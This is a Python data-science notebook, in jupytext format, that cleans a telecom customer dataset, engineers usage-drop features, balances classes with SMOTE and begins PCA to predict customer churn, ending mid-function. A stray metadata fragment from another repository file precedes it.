["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/sage_extension.py", "max_forks_repo_name": "bopopescu/sagesmc", "max_forks_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2016-09-28T13:12:40.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-12T09:28:34.000Z", "avg_line_length": 36.5452261307, "max_line_length": 126, "alphanum_fraction": 0.5716053627, "include": true, "reason": "import sage,from sage", "num_tokens": 3477, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368443773709, "lm_q2_score": 0.2018132150593341, "lm_q1q2_score": 0.07917875995003085}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.7.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # Telecom Churn Prediction\n\n# #### Business Problem Overview\n# - In the telecom industry, customers are able to choose from multiple service providers and actively switch from one operator to another. In this highly competitive market, the telecommunications industry experiences an average of 15-25% annual churn rate. Given the fact that it costs 5-10 times more to acquire a new customer than to retain an existing one, customer retention has now become even more important than customer acquisition.\n# - For many incumbent operators, retaining high profitable customers is the number one business goal.\n# - To reduce customer churn, telecom companies need to predict which customers are at high risk of churn.\n#\n# In this project, you will analyse customer-level data of a leading telecom firm, build predictive models to identify customers at high risk of churn and identify the main indicators of churn.\n\n# ## Index\n#\n# 1. Environment Setup\n# 2. Reading the Input data (csv) file\n# 3. Data Analysis & Cleaning & Derivation\n# 4. Data Visualization\n# 5. Data Preparation\n#     1. Train Test Split\n#     2. Scaling - RobustScaler\n#     3. Fixing Imbalance - SMOTE    \n# 6. Data Modelling\n#     1. PCA + Logistic Regression + Hyperparameter Tuning\n#     2. Decision Tree Classification\n#     3. Random Forest Classifier + Hyperparameter Tuning\n#     4. XGBoost\n# 7. Feature Selection\n#     1. RFE + Logistic Regression + Hyperparameter Tuning\n# 8. Summary\n\n# ## 1. Environment Setup\n\n# +\n# To get multiple outputs in the same cell\n\nfrom IPython.core.interactiveshell import InteractiveShell\nInteractiveShell.ast_node_interactivity = \"all\"\n\n# +\n# Supress Warnings\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# +\n# Importing data prep and EDA, plotting Libraries\n\nimport numpy as np\nfrom scipy import stats\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# %matplotlib inline\n\n# +\n# Importing Machine learning Scikit-learn Libraries\n\n#Feature Scaling, hyper parameter tuning\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import train_test_split,StratifiedKFold,cross_val_score,GridSearchCV\nfrom sklearn.preprocessing import MinMaxScaler,StandardScaler,RobustScaler\n\n# from sklearn.pipeline import FeatureUnion\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\n## Evaluation Metrics\nfrom sklearn.metrics import classification_report,  auc, roc_auc_score, roc_curve, precision_recall_curve,make_scorer\nfrom sklearn.metrics import precision_score,recall_score, accuracy_score, confusion_matrix, f1_score,r2_score\n\n#building models\nfrom sklearn.decomposition import PCA, IncrementalPCA\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.svm import SVC\n\nfrom sklearn import set_config\nset_config(print_changed_only=True)\n\n#imbalance data balance\nfrom imblearn.metrics import sensitivity_specificity_support\n\n# +\n# Set the required global options\n\n# To display all the columns in dataframe\npd.set_option( \"display.max_columns\", None)\npd.set_option( \"display.max_rows\", None)\n# +\n# from google.colab import drive\n# drive.mount('/content/drive')\n# -\n\n\n# ## 2. Reading the Input data (csv) file\n\n# +\ntel = pd.read_csv('./telecom_churn_data.csv')\n\n# G Colab\n# tel = pd.read_csv('/content/drive/My Drive/Colab Notebooks/data/telecom_churn_data.csv')\n# -\n\ntel.head()\n\n# ## 3. Data Analysis & Cleaning\n\n# Checking rows and columns - shape \ntel.shape\n\n# Getting the overview of Data types and Non-Null info\ntel.info()\n\n#Rename vbc columns to corresponding monthnumber to keep it consistent\ntel.rename(columns = {'jun_vbc_3g':'vbc_3g_6',\n                               'jul_vbc_3g':'vbc_3g_7',\n                               'aug_vbc_3g':'vbc_3g_8',\n                               'sep_vbc_3g':'vbc_3g_9'}, inplace=True)\n\n# +\n# create column name list by types of columns\nid_cols = ['mobile_number', 'circle_id']\n\ndate_cols = ['last_date_of_month_6',\n             'last_date_of_month_7',\n             'last_date_of_month_8',\n             'last_date_of_month_9',\n             'date_of_last_rech_6',\n             'date_of_last_rech_7',\n             'date_of_last_rech_8',\n             'date_of_last_rech_9',\n             'date_of_last_rech_data_6',\n             'date_of_last_rech_data_7',\n             'date_of_last_rech_data_8',\n             'date_of_last_rech_data_9'\n            ]\n\ncat_cols =  ['night_pck_user_6',\n             'night_pck_user_7',\n             'night_pck_user_8',\n             'night_pck_user_9',\n             'fb_user_6',\n             'fb_user_7',\n             'fb_user_8',\n             'fb_user_9'\n            ]\n\nnum_cols = [column for column in tel.columns if column not in id_cols + date_cols + cat_cols]\n\n# print the number of columns in each list\nprint(\"#ID cols: %d\\n#Date cols:%d\\n#Numeric cols:%d\\n#Category cols:%d\" % (len(id_cols), len(date_cols), len(num_cols), len(cat_cols)))\n\n# check if we have missed any column or not\nprint(len(id_cols) + len(date_cols) + len(num_cols) + len(cat_cols) == tel.shape[1])\n# -\n\n# drop id and date columns\n# id columns - as they are moble number - unique for every user, circle_id = 109 corresponds to single circle\n# Date columns - does not much information to the analysis\nprint(\"Shape before dropping: \", tel.shape)\ntel = tel.drop(id_cols, axis=1)\nprint(\"Shape after dropping: \", tel.shape)\n\n# #### Impute Categorical values\n\n# +\n# Replace NaN values in categorical variables\n# We will replace missing values in the categorical values with '-1' where '-1' will be a new category.\n\n# replace missing values with '-1' in categorical columns\ntel[cat_cols] = tel[cat_cols].apply(lambda x: x.fillna(-1))\n# -\n\n# #### Imputation of Numerical variables\n\ntel[['count_rech_2g_6','count_rech_3g_6','total_rech_data_6']].tail(20)\n\n# ##### But, digging deep into the columns, there is a kind of relation among these variables.\n# - total_rech_data - total number of recharges done in a month (= count_rech_2g+count_rech_3g). So, count_rech_2g, count_rech_3g columns can be removed\n\ncols_todel = ['count_rech_2g_6','count_rech_3g_6','count_rech_2g_7','count_rech_3g_7','count_rech_2g_8','count_rech_3g_8','count_rech_2g_9','count_rech_3g_9']\ntel = tel.drop(cols_todel,axis=1,errors='ignore')\n\nnum_cols = [column for column in tel.columns if column not in date_cols + cat_cols]\n\n#recharge_cols = [col for col in num_cols if (('rech' in col) & ('rech_num' not in col))]\nrecharge_cols = [col for col in num_cols if (('rech' in col))]\n\nrecharge_cols\n\n# some recharge columns have minimum value of 1 while some don't\ntel[recharge_cols].describe(include='all')\n\n# It is also observed that the recharge date and the recharge value are missing together which means the customer didn't recharge\ntel.loc[tel.total_rech_data_6.isnull() & tel.date_of_last_rech_data_6.isnull(), [\"total_rech_data_6\", \"date_of_last_rech_data_6\"]].head(20)\n\n# Date columns - does not much information to the analysis\nprint(\"Shape before dropping: \", tel.shape)\ntel = tel.drop(date_cols, axis=1)\nprint(\"Shape after dropping: \", tel.shape)\n\n# +\n# Checking for any Null columns\ntel.isnull().sum().any()\n\ntel.shape[0]\n\n# Finding the columns with more than 40% NULLs.\nser = tel.isnull().sum()/len(tel)*100\nnulls = ser[ser > 40]\nnulls\n# -\n\n# Checking the info of the remaining columns with NULLs\ntel[nulls.index].info()\n\n# Checking the data of the columns with NULLs\ntel[nulls.index[:]].sample(4)\n\n# +\n#nulls.index\n\n# creating a list of NULL columns of type float\nnullsf = nulls.index[:]\nnullsf\n\n# +\n# let's impute the columns av_rech_amt_data_* , total_rech_data_* for furthur usage\n\ntel[nullsf]=tel[nullsf].fillna(0)\n\n# +\n# Verifying, whether floating variables are successfully imputed\n\nser = tel.isnull().sum()/len(tel)*100\nnulls = ser[ser > 40]\nnulls\n# -\n\n# - All the columns with more than 70% missing values are imputed with zero.\n\n# +\n# Checking for any Null columns\ntel.isnull().sum().any()\n\n# Finding the columns with more than 40% NULLs.\nser = tel.isnull().sum()/len(tel)*100\nnullsgtzero = ser[ser > 0]\nnullsgtzero\n# -\n\n# - All the missing values are for columns corresponding to incoming/outgoing calls within or outside network. This might be the customer has not utilised and can be imputed with 0.\n# - And dropping date_of_last_rech_6,_7,_8 as they are dates and cannot be imputed.\n\n# +\n# Imputing the rest of the columns with 0\n\ncols = tel[nullsgtzero.index].select_dtypes(exclude = 'object').columns\ntel[cols] = tel[cols].fillna(0)\n\n# +\n# Finding the columns with NULLs.\n\nser = tel.isnull().sum()/len(tel)*100\nnulls = ser[ser > 0]\nnulls.sort_values(ascending=False)\n# -\n\n# Shape of Dataframe After dropping \ntel.shape\n\n# Checking for any Null columns\ntel.isnull().sum().any()\n\n# ### Revenue is mostly generated by high value customers with 70th percentile of the total amount spent in the good phase\n\n# +\n## Derive the total data recharge amount columns for months 6,7,8,9\n\n# mon_list = ['_6','_7'.'_8','_9']\n\nfor i in range(6,10):\n    count = 'total_rech_data_' + str(i)\n    avg_amt = 'av_rech_amt_data_' + str(i)\n    tot_amt = 'total_rech_amnt_data_' + str(i)\n    \n    tel[tot_amt] = tel[avg_amt] * tel[count]\n\n# -\n\n# Verifying the newly derived features\ntel.iloc[:,-4:].head()\n\n# +\n# Lets compute the average recharge amount for the month 6 & 7. This total amount is equal to the sum of talk time recharge \n# and data recharge amounts for the respective months.\n\navg_recharge_amnt_months_6_7 = tel[['total_rech_amnt_data_6','total_rech_amnt_data_7','total_rech_amt_6',\n                                             'total_rech_amt_7']].mean(axis=1)\n# type(avg_recharge_amnt_months_6_7)\n\namount_70th_percentile = np.percentile(avg_recharge_amnt_months_6_7, 70)\n\nprint(\"70th percentile of the average recharge amount in the first two months is - \", amount_70th_percentile)\n# -\n\ntel.shape\ndf_highvalue_cust = tel[avg_recharge_amnt_months_6_7 >= amount_70th_percentile]\ndf_highvalue_cust.shape\n\n# #### Now to tag churned customers (churn=1, else 0) based on the churn month as follows: Those who have not made any calls (either incoming or outgoing) and have not used mobile internet even once in the churn phase. The attributes i am using to tag churners are:\n#\n# - total_ic_mou_9\n# - total_og_mou_9\n# - vol_2g_mb_9\n# - vol_3g_mb_9\n#\n# ###### We will create a temporary dataset that stores all the parameters/features related to the tagging a customer as churn. We will use the above attributes mentioned.\n\nchurn_parameters_data = df_highvalue_cust[['total_ic_mou_9', 'total_og_mou_9', 'vol_2g_mb_9', 'vol_3g_mb_9']]\nchurn_parameters_data.head()\n\nchurn_parameters_data.isnull().sum()\n\n# ##### Check if the customer has used any mobile calls or data in the fourth month.\n# - If not used any services: Churn(1)\n# - else: non-Churn(0)\n\ndf_highvalue_cust['Churn'] = df_highvalue_cust.apply(lambda x:1 if ((x.total_ic_mou_9 == 0)&\n                                                                    (x.total_og_mou_9 == 0)&\n                                                                   (x.vol_2g_mb_9 == 0)&\n                                                                   (x.vol_3g_mb_9 == 0)) else 0,axis=1)\n\n# #### Now, that churners are tagged from churn phase. We can remove all the columns corresponding to 9th month\n\ncols_9_todel = [col for col in df_highvalue_cust.columns if col.endswith('_9')]\nprint('Total cols ending with _9 : ', len(cols_9_todel))\ncols_9_todel\n\n# Dropping the columns related to churn month, here the 9th month\ndf_highvalue_cust.drop(columns = cols_9_todel, inplace = True, errors = 'ignore')\n\n# +\n# Checking whether the columns are dropped successfully\n\ncols_9_todel = [col for col in df_highvalue_cust.columns if col.endswith('_9')]\nprint('Total cols ending with _9 : ', len(cols_9_todel))\n\ndf_highvalue_cust.shape\n# -\n\n# ### Checking Variance of the features\n#\n# - Dropping featurs with  0 & 1 variance.\n\n# +\n# Creating a list of columns having entirely unique or entirely constant values\n\ncol_list = []\nfor i in df_highvalue_cust.columns:\n    if df_highvalue_cust[i].nunique() in (1, len(df_highvalue_cust)):\n        i, df_highvalue_cust[i].nunique()\n        col_list.append(i)\nprint('Column number with zero variance : ',len(col_list))\n# -\n\ndf_highvalue_cust[col_list].sample(5)\n\n# - As we can see that All the above columns have either unique or constant values, So i would drop these features.\n\n# Dropping the entirely unique or entirely constant variables\ndf_highvalue_cust.shape\ndf_highvalue_cust.drop(columns = col_list, inplace = True, errors='ignore')\ndf_highvalue_cust.shape\n\n# #### ARPU - Average revenue per user. One of the important parameter to network procider.\n# - The total revenue generated during the standard time period should then be divided by the number of units or users.ref-https://www.investopedia.com/terms/a/arpu.asp\n# - ARPU can never be negative as it is Total revenue per total number of subscribers. So, let remove those rows as this might be data entry issue and so this rows cannot be trusted\n\ndf_highvalue_cust[['arpu_6','arpu_7','arpu_8']].describe()\n\ncols_neg_arpu = df_highvalue_cust.columns[(df_highvalue_cust < 0).any()].tolist()\n\n(df_highvalue_cust[cols_neg_arpu]<0).sum(axis=0)\n\nfor col in cols_neg_arpu[0:3]:\n    #print(type(col))\n    #print(df_highvalue_cust[col].head())\n    df_highvalue_cust = df_highvalue_cust[(df_highvalue_cust[col] >= 0)]\n\ndf_highvalue_cust.shape #--(30001, 149)\n\n# #### Now, let's understand the remaining columns and remove if there are any dependent columns\n\n# - There ar emany columns which represents incoming/outgoing calls made the within operator, outside operator & to customer care, which are totally represented by minutes of usage columns.\n# - ARPU columns corresponding to 3g/2g for every  months are aggregatively represented in arpu_mon* columns.\n# - average recharge amount is part of new derived column - total recharge amount\n# - So, dropping this redundant columns.\n\n# +\n# Let's drop individual columns whose totals are available as a different attribute\n\nredundant_cols = ['loc_ic_t2t_mou_6', 'loc_ic_t2t_mou_7', 'loc_ic_t2t_mou_8',\n                   'loc_ic_t2m_mou_6', 'loc_ic_t2m_mou_7', 'loc_ic_t2m_mou_8',\n                   'loc_ic_t2f_mou_6', 'loc_ic_t2f_mou_7', 'loc_ic_t2f_mou_8',\n                   'std_ic_t2t_mou_6', 'std_ic_t2t_mou_7', 'std_ic_t2t_mou_8',\n                   'std_ic_t2m_mou_6', 'std_ic_t2m_mou_7', 'std_ic_t2m_mou_8',\n                   'std_ic_t2f_mou_6', 'std_ic_t2f_mou_7', 'std_ic_t2f_mou_8',\n                   'loc_og_t2t_mou_6', 'loc_og_t2t_mou_7', 'loc_og_t2t_mou_8',\n                   'loc_og_t2m_mou_6', 'loc_og_t2m_mou_7', 'loc_og_t2m_mou_8',\n                   'loc_og_t2f_mou_6', 'loc_og_t2f_mou_7', 'loc_og_t2f_mou_8',\n                   'std_og_t2t_mou_6', 'std_og_t2t_mou_7', 'std_og_t2t_mou_8',\n                   'std_og_t2m_mou_6', 'std_og_t2m_mou_7', 'std_og_t2m_mou_8',\n                   'std_og_t2f_mou_6', 'std_og_t2f_mou_7', 'std_og_t2f_mou_8',\n                   'last_day_rch_amt_6','last_day_rch_amt_7','last_day_rch_amt_8',\n                   'arpu_3g_6', 'arpu_3g_7', 'arpu_3g_8',\n                   'arpu_2g_6', 'arpu_2g_7', 'arpu_2g_8',\n                   'av_rech_amt_data_6', 'av_rech_amt_data_7', 'av_rech_amt_data_8']\n\ndf_highvalue_cust.drop(redundant_cols, axis = 1, inplace = True)\n\ndf_highvalue_cust.shape\n# -\n\n# ### Deriving new Features\n\n# Let's derive some variables. The most important feature, in this situation, can be the difference between the 8th month and the previous months. The difference can be in patterns such as usage difference or recharge value difference. Let's calculate difference variable as the difference between 8th month and the average of 6th and 7th month.\n\n# +\n# Deriving columns detail after substracting the action phase i.e 8th columns with the 6th and 7th columns\n\ncols = ['arpu_','onnet_mou_','offnet_mou_','roam_ic_mou_','roam_og_mou_','loc_og_mou_','std_og_mou_','isd_og_mou_','spl_og_mou_','total_og_mou_','loc_ic_mou_','std_ic_mou_','isd_ic_mou_','spl_ic_mou_','total_ic_mou_','total_rech_num_','total_rech_amt_','max_rech_amt_','total_rech_data_','max_rech_data_','vol_2g_mb_','vol_3g_mb_']\n\nfor i in cols:\n    col1 = i + str('6')\n    col2 = i + str('7')\n    col3 = i + str('8')\n    col4 = i + str('diff_avg')\n    \n    ## -ve shows the user is not using the services actively as before\n    df_highvalue_cust[col4] = df_highvalue_cust[col3] - ((df_highvalue_cust[col1] + df_highvalue_cust[col2])/2)\n\n# +\n# Dropping the set of columns as the _diff_avg features are derived from these columns.\n\n# for i in range(6,9):\n#     for j in cols:\n#         col = j + str(i)\n#         df_highvalue_cust.drop(columns = [col], inplace = True)\n\n# +\n# Deriving aggregated columns from _6th and _7th months as _goodphase\n\ncols = [ 'og_others_', 'ic_others_','night_pck_user_','monthly_2g_','monthly_3g_','sachet_2g_','sachet_3g_','fb_user_','vbc_3g_','total_rech_amnt_data_']\n\nfor i in cols:\n    col1 = i + str('6')\n    col2 = i + str('7')\n    col3 = i + str('goodph')\n    col4 = i + str('8')\n    col5 = i + str('actionph')\n    col6 = i + str('drop')\n    \n    df_highvalue_cust[col3] = ((df_highvalue_cust[col1] + df_highvalue_cust[col2])/2)\n    df_highvalue_cust[col5] = df_highvalue_cust[col4]\n    #df_highvalue_cust[col6] = [(df_highvalue_cust[col3] - df_highvalue_cust[col5]) > 0 ] = 1 else 0\n    #df_highvalue_cust.loc[((df_highvalue_cust[col3] - df_highvalue_cust[col5]) > 0), col6] = 1\n    #df_highvalue_cust.loc[((df_highvalue_cust[col3] - df_highvalue_cust[col5]) < 0), col6] = 0\n    df_highvalue_cust[col6] = np.where(((df_highvalue_cust[col3] - df_highvalue_cust[col5]) <= 0),0,1)\n    \n    df_highvalue_cust.drop(col3,axis=1,inplace=True)\n    df_highvalue_cust.drop(col5,axis=1,inplace=True)\n\n\n# +\n# Dropping the set of columns as the _diff_avg features are derived from these columns.\n\nfor i in range(6,9):\n    for j in cols:\n        col = j + str(i)\n        df_highvalue_cust.drop(columns = [col], inplace = True)\n# -\n\n# cols = ['arpu_','total_og_mou_','total_ic_mou_','total_rech_num_','total_rech_amt_','total_rech_data_','total_rech_amnt_data_']\n# cols = [ 'og_others_', 'ic_others_','night_pck_user_','monthly_2g_','monthly_3g_','sachet_2g_','sachet_3g_','fb_user_','vbc_3g_']\n\n\n# +\n# Deriving usage/revenue drop at subsequent months\n# cols = ['arpu_','onnet_mou_','offnet_mou_','roam_ic_mou_','roam_og_mou_','loc_og_mou_','std_og_mou_','isd_og_mou_','spl_og_mou_','total_og_mou_','loc_ic_mou_','std_ic_mou_','isd_ic_mou_','spl_ic_mou_','total_ic_mou_','total_rech_num_','total_rech_amt_','max_rech_amt_','total_rech_data_','max_rech_data_','vol_2g_mb_','vol_3g_mb_']\n\ncols = ['loc_og_t2c_mou_','arpu_','onnet_mou_','offnet_mou_','roam_ic_mou_','roam_og_mou_','loc_og_mou_','std_og_mou_','isd_og_mou_','spl_og_mou_','total_og_mou_','loc_ic_mou_','std_ic_mou_','isd_ic_mou_','spl_ic_mou_','total_ic_mou_','total_rech_num_','total_rech_amt_','total_rech_data_','vol_2g_mb_','vol_3g_mb_']\n\nfor i in cols:\n    col1 = i + str('6')\n    col2 = i + str('7')\n    col3 = i + str('8')\n    col4 = i + str('drop_1')\n    col5 = i + str('drop_2')\n    col6 = i + str('drop_ovrall')\n    \n    ## -ve shows the user is not using the services actively as before\n    df_highvalue_cust[col4] = df_highvalue_cust[col1] - df_highvalue_cust[col2]\n    df_highvalue_cust[col5] = df_highvalue_cust[col2] - df_highvalue_cust[col3]\n    df_highvalue_cust.loc[(df_highvalue_cust[col4] > 0) & (df_highvalue_cust[col5] > 0), col6] = 1\n    df_highvalue_cust.loc[~(df_highvalue_cust[col4] > 0) | ~(df_highvalue_cust[col5] > 0), col6] = 0\n    df_highvalue_cust.drop(col4,axis=1,inplace=True)\n    df_highvalue_cust.drop(col5,axis=1,inplace=True)\n#     df_highvalue_cust[col6] = df_highvalue_cust.loc[(df_highvalue_cust[col4] > 0) & (df_highvalue_cust[col5] > 0)]\n\n\n#df_highvalue_cust.drop(columns = [col4 ])\n\n\n# +\n# Dropping the set of columns as the _diff_avg features are derived from these columns.\n\ncols = ['loc_og_t2c_mou_','arpu_','onnet_mou_','offnet_mou_','roam_ic_mou_','roam_og_mou_','loc_og_mou_','std_og_mou_','isd_og_mou_','spl_og_mou_','total_og_mou_','loc_ic_mou_','std_ic_mou_','isd_ic_mou_','spl_ic_mou_','total_ic_mou_','total_rech_num_','total_rech_amt_','max_rech_amt_','total_rech_data_','max_rech_data_','vol_2g_mb_','vol_3g_mb_']\n\nfor i in range(6,9):\n    for j in cols:\n        col = j + str(i)\n        df_highvalue_cust.drop(columns = [col], inplace = True)\n# -\n\ndf_highvalue_cust.info(verbose=True)\n\ndf_highvalue_cust.shape\n\n\n# ## 4. Data Visualization\n\n# +\n## Show labels in bar plots\n\ndef showLabels(ax, d=None):\n    plt.margins(0.2, 0.2)\n    rects = ax.patches\n    i = 0\n    locs, labels = plt.xticks() \n    counts = {}\n    if not d is None:\n        for key, value in d.items():\n            counts[str(key)] = value\n\n    # For each bar: Place a label\n    for rect in rects:\n        # Get X and Y placement of label from rect.\n        y_value = rect.get_height()\n        x_value = rect.get_x() + rect.get_width() / 2\n\n        # Number of points between bar and label. Change to your liking.\n        space = 5\n        # Vertical alignment for positive values\n        va = 'bottom'\n\n        # If value of bar is negative: Place label below bar\n        if y_value < 0:\n            # Invert space to place label below\n            space *= -1\n            # Vertically align label at top\n            va = 'top'\n\n        # Use Y value as label and format number with one decimal place\n        if d is None:\n            label = \"{:.1f}\".format(y_value)\n        else:\n            try:\n                label = \"{:.1f}\".format(y_value) + \"\\nof \" + str(counts[str(labels[i].get_text())])\n            except:\n                label = \"{:.1f}\".format(y_value)\n        \n        i = i+1\n\n        # Create annotation\n        plt.annotate(\n            label,                      # Use `label` as label\n            (x_value, y_value),         # Place label at end of the bar\n            xytext=(0, space),          # Vertically shift label by `space`\n            textcoords=\"offset points\", # Interpret `xytext` as offset in points\n            ha='center',                # Horizontally center label\n            va=va)                      # Vertically align label differently for\n                                        # positive and negative values.\n\n\n# -\n\ndef default_rate_per_var(var, df = df_highvalue_cust, sort_flg=True, head=0):\n    \n    plt.subplot(1, 2, 1)\n    if head == 0:\n        ser = (df[var].value_counts(normalize=True)*100)\n    else:\n        ser = (df[var].value_counts(normalize=True).head(head)*100)\n    #ser\n    if sort_flg:\n        ser = ser.sort_index()\n    ax = ser.plot.bar(color=sns.color_palette(\"Paired\", 10))\n    ax.set_ylabel('% count in data', fontsize=16)\n    ax.set_xlabel(var, fontsize=12)\n    showLabels(ax)\n    plt.subplot(1, 2, 2)\n    if head == 0:\n        ser = (df.loc[df['Churn'] == 1][var].value_counts(normalize=True)*100)\n    else:\n        ser = (df.loc[df['Churn'] == 1][var].value_counts(normalize=True).head(head)*100)\n    #ser\n    if sort_flg:\n        ser = ser.sort_index()\n    ax = ser.plot.bar(color=sns.color_palette(\"Paired\", 10))\n    ax.set_ylabel('% in Churners', fontsize=16)\n    ax.set_xlabel(var, fontsize=12)\n    showLabels(ax)\n    plt.show()\n\n\ncols = [x for x in df_highvalue_cust.columns if x.endswith('ovrall')]\n\nfor i in cols:\n    plt.figure(figsize=(12,7));\n    default_rate_per_var(i);\n\n# - **From the above plots it resembles that arpu,onnet,offnet,total outgoing,incoming,number of recharges and total amount of recarge are highly dependent features for predicting churn.**\n\ncols = [x for x in df_highvalue_cust.columns if x.endswith('diff_avg')]\n\nplt.figure(figsize=(17,13))\nsns.heatmap(df_highvalue_cust[cols].corr(), annot = True);\n\n\n# This user-defined function plots the distribution of target column, and its boxplot against Churn column\ndef plot_distribution(var):\n    plt.figure(figsize=(17,9))\n    plt.subplot(1, 2, 1)\n    ax = sns.histplot(data=df_highvalue_cust, x=var, kde=True)\n    plt.subplot(1, 2, 2)\n    sns.boxplot(x=var, y= 'Churn', data=df_highvalue_cust)\n    plt.show()\n\n# +\n# for i in cols:\n#     plot_distribution(i)\n# -\n\n\ndf_highvalue_cust.head()\n\n\ndf_highvalue_cust.shape\ntelecom = df_highvalue_cust.copy()\ntelecom.shape\n\n# ## 5. Data Preparation\n\n# #### The below steps are to be done before Data Modelling\n#\n# 1. Split the dataset\n# 2. Scale the data\n# 3. SMOTE + undersampling - to overcome the imbalace in the data\n\n# +\n# Importing Machine learning Scikit-learn Libraries\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.decomposition import PCA, IncrementalPCA\nfrom sklearn.preprocessing import MinMaxScaler\n# from sklearn.pipeline import FeatureUnion\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import precision_score, auc, roc_auc_score, roc_curve, precision_recall_curve\nfrom sklearn.metrics import recall_score, accuracy_score, confusion_matrix, f1_score\nfrom sklearn import metrics\nfrom imblearn.metrics import sensitivity_specificity_support\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.svm import SVC\n# -\n\n# ### Train Test split\n\n# +\n# Divide data into train and test\n\nX = telecom.drop(\"Churn\", axis = 1)\ny = telecom.Churn\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size = 0.70, test_size = 0.30, random_state = 100, stratify = y)\n# -\n\nX_train.shape\ny_train.shape\nX_test.shape\ny_test.shape\n\n# ### Scaling\n\n# +\n# Scale the data using MinMaxScaler\n\n#scaler = MinMaxScaler()\n#X_train_scaled = scaler.fit_transform(X_train)\n#X_test_scaled = scaler.transform(X_test)\n\n# Scale the data to overcome the outlier impact and bring the data centered to zero median\nscaler = RobustScaler(quantile_range=(1, 99))\nX_train_scaled = scaler.fit_transform(X_train)\nX_test_scaled = scaler.transform(X_test)\n# -\n\n# ### Class Imbalance Check\n\n# +\n# change data type to category\n# telecom['Churn'] = telecom['Churn'].astype(\"category\")\n\ntelecom.Churn.value_counts()\n\n# print churn ratio\nprint(\"Churn Ratio:\")\ntelecom['Churn'].value_counts()*100/len(telecom)\n# -\n\n# - **This seems to be imbalanced dataset. So we need to make it balanced before prediction.**\n\n# #### Pre-Processing Techniques\n# - https://machinelearningmastery.com/combine-oversampling-and-undersampling-for-imbalanced-classification/\n# As a part of pre-processing stage of ML pipelines prior, the following algorithms will be used for handling imbalanced dataset.\n#\n# - Undersampling\n# - Random undersampling\n# - Oversampling\n# - Random oversampling: generates new samples by random resampling with replacement of under represented class\n# - Synthetic Minority Oversampling (SMOTE)\n# - Combined over and under sampling\n# - SMOTEENN\n# - SMOTETomek\n# ##### Training techniques\n# Number of learning models themselves do provide some built in support to deal with imbalance data.\n#\n# Sample weighting\n#\n# #### Fact:\n#\n# SMOTE allows to generate samples. However, this method of over-sampling does not have any knowledge regarding the underlying distribution. Therefore, some noisy samples can be generated, e.g. when the different classes cannot be well separated. Hence, it can be beneficial to apply an under-sampling algorithm to clean the noisy samples. Imbalanced-learn provides two ready-to-use combined samplers:\n#\n# SMOTETomek\n# SMOTEENN\n# Both the methods are good but in general, SMOTEENN cleans more noisy data than SMOTETomek.\n#\n# #### Note:\n#\n# It is not possible to check different sampling techniques on very cost sensitive Machine Learning models like SVM, Decision Trees, Random Forest. For this Case Study, we will particularily use SMOTEENN sampling technique to handle imbalanced dataset as it is uses both over-sampling and under-sampling method and helps in cleaning noisy samples.\n\n# +\n# Oversample with SMOTE and random undersample for imbalanced dataset\n\nfrom collections import Counter\nfrom sklearn.datasets import make_classification\nfrom imblearn.over_sampling import SMOTE\nfrom imblearn.under_sampling import RandomUnderSampler\nfrom imblearn.pipeline import Pipeline\nfrom matplotlib import pyplot\nfrom numpy import where\n\n# counter = Counter(y_train)\n# print('before : ' , counter)\n\n# # define pipeline\n# over = SMOTE(sampling_strategy=0.5)\n# under = RandomUnderSampler(sampling_strategy=0.5)\n# steps = [('o', over), ('u', under)]\n# pipeline = Pipeline(steps=steps)\n\n# # transform the dataset\n# X_train_bal, y_train_bal = pipeline.fit_resample(X_train_scaled, y_train)\n\n# # summarize the new class distribution\n# counter = Counter(y_train_bal)\n# print('after  : ' , counter)\n# -\n\n# ### Handling Class Imbalance using SMOTE\n\n# +\n#### Implement SMOTE to balance the imbaance in the data\n\ncounter = Counter(y_train)\nprint('before : ' , counter)\n\nover = SMOTE(random_state=100,n_jobs=-1)\nX_train_bal, y_train_bal = over.fit_sample(X_train_scaled, y_train)\n\n# summarize the new class distribution\ncounter = Counter(y_train_bal)\nprint('after  : ' , counter)\n\nprint(\"X_train_bal: \\n\", X_train_bal.shape)\nprint(\"y_train_bal: \\n\", y_train_bal.shape)\n# -\n\nX_train_resampled = pd.DataFrame(data = X_train_bal)\ny_train_resampled = pd.DataFrame(data = y_train_bal)\nprint(\"X_train_resampled: \\n\", X_train_resampled.shape)\nprint(\"y_train_resampled: \\n\", y_train_resampled.shape)\n\n\n# ### Dimensionality Reduction\n\ndef perform_PCA(X_train):\n    pca = PCA(svd_solver = 'randomized',random_state=100)\n    \n    #fit the data\n    pca.fit(X_train)\n    \n    #plot cummulative variance against no. of components\n    var_cumu = np.cumsum(pca.explained_variance_ratio_)\n    fig = plt.figure(figsize=[8,4])\n    #plt.vlines(x=15, ymax=1, ymin=0, colors=\"r\", linestyles=\"--\")\n    plt.hlines(y=0.95, xmax=30, xmin=0, colors=\"g\", linestyles=\"--\")\n    plt.plot(var_cumu)\n    